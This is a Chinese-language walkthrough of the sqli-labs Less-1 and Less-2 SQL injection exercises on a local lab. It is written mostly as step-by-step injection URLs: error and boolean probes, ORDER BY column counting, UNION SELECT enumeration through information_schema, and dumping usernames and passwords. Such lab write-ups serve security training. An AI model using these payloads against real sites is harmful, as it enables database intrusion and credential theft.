一.less1
1.判断是否存在sql注入
1)加单引号引起报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
2)布尔判断
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'and 1=1--+ //1=1为真,所以页面正常显示
http://127.0.0.1/sqli-labs-master/Less-1/?id=14'and 1=2--+ //1=2结果为假,所以页面显示异常
2.判断数据库当前查询表有几列
1)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 1 --+ //order by 1
判断是否存在1列时,页面显示正常,说明存在1列
2)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 2 --+ //order by 2
判断是否存在2列时,页面显示正常,说明存在2列
3)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+ //order by 3
判断是否存在3列时,页面显示正常,说明存在3列
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+ //order by 4
判断是否存在4列时,页面显示异常,说明存在3列
3.已经判断完数据库查询表有3列,那么联合查询3列,查出数据库名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
//联合查询3列,把前面的id值改成不存在的,页面显示我们查询出来的2和3,2和3被叫做回显位置,那么我们可以在2和3的地方进行sql注入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+
//联合查询database(),查出当前网站使用的数据库名 version(),user()
4.联合查询通过内置库查询当前数据库使用的表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
5.联合查询通过内置库查询当前数据库使用的表中的列
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
6.查询表中所有的数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(id,'~',username,'~',password) from users--+
二、less2
1.判断是否存在sql注入
1)加单引号引起报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
2)布尔判断
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1--+ //1=1为真,所以页面正常显示
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2--+ //1=2结果为假,所以页面显示异常
2.判断数据库当前查询表有几列
1)
http://127.0.0.1/sqli-labs-master/Less-2/?id=1' order by 1 --+ //order by 1
判断是否存在1列时,页面显示正常,说明存在1列
2)
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 2 --+ //order by 2
判断是否存在2列时,页面显示正常,说明存在2列
3)
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+ //order by 3
判断是否存在3列时,页面显示正常,说明存在3列
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+ //order by 4
判断是否存在4列时,页面显示异常,说明存在3列
3.已经判断完数据库查询表有3列,那么联合查询3列,查出数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 --+
//联合查询3列,把前面的id值改成不存在的,页面显示我们查询出来的2和3,2和3被叫做回显位置,那么我们可以在2和3的地方进行sql注入
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,version(),database() --+
//联合查询database(),查出当前网站使用的数据库名 version(),user()
4.联合查询通过内置库查询当前数据库使用的表
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
5.联合查询通过内置库查询当前数据库使用的表中的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
6.查询表中所有的数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(id,'~',username,'~',password) from users--+